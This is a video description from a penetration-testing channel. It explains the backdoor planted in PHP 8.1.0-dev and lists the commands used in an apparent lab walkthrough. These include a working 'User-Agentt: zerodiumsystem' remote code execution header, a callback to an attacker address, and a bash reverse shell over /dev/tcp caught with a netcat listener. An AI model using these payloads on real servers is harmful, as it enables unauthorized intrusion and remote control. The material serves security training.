PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | Manual Exploit | Hindi

Publicado em: 26 Fevereiro 2022
no canal de: PentestHint - The Tech Fellow

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#PHP #RCE #Exploit

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PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.

Reference:
https://www.exploit-db.com/exploits/4...
https://flast101.github.io/php-8.1.0-...
https://github.com/flast101/php-8.1.0...

Commands Used in Video:
Curl -I url
Got php8.1.0-dev

Searchsploit php 8.1.0
Got useragent rce

Python3 -m http.server 80
curl http://10.10.10.242/index.php -H 'User-Agentt: zerodiumsystem("curl 10.10.14.18");'

Nc -lvnp 1234
curl http://10.10.10.242/index.php -H "User-Agentt: zerodiumsystem(\"bash -c 'bash -i &/dev/tcp/10.10.14.18/1234 0(greaterthan sign)&1 '\");"

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